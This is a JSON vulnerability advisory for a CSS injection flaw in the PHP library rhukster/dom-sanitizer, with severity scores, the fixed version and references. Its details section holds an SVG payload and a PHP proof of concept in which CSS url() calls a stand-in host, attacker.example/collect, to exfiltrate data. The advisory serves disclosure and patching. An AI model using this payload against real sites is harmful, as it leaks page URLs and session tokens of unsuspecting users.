{"id":"CVE-2026-40301","aliases":["GHSA-93vf-569f-22cq"],"url":"https://o3.security/vulnerability/CVE-2026-40301","summary":"rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives","details":"### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n  <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.","published":"2026-04-17T20:51:37.226Z","modified":"2026-10-28T02:30:20.901808382Z","cvss":{"score":4.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"},"epss":{"score":0.00271,"percentile":0.18735,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"rhukster/dom-sanitizer","fixedVersion":"1.0.10"}],"fix":{"url":"https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2","label":"rhukster/dom-sanitizer@49a9804"},"references":[{"type":"WEB","url":"https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40301.json"},{"type":"ADVISORY","url":"https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301"},{"type":"FIX","url":"https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"},{"type":"PACKAGE","url":"https://github.com/rhukster/dom-sanitizer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:20.901808382Z"}}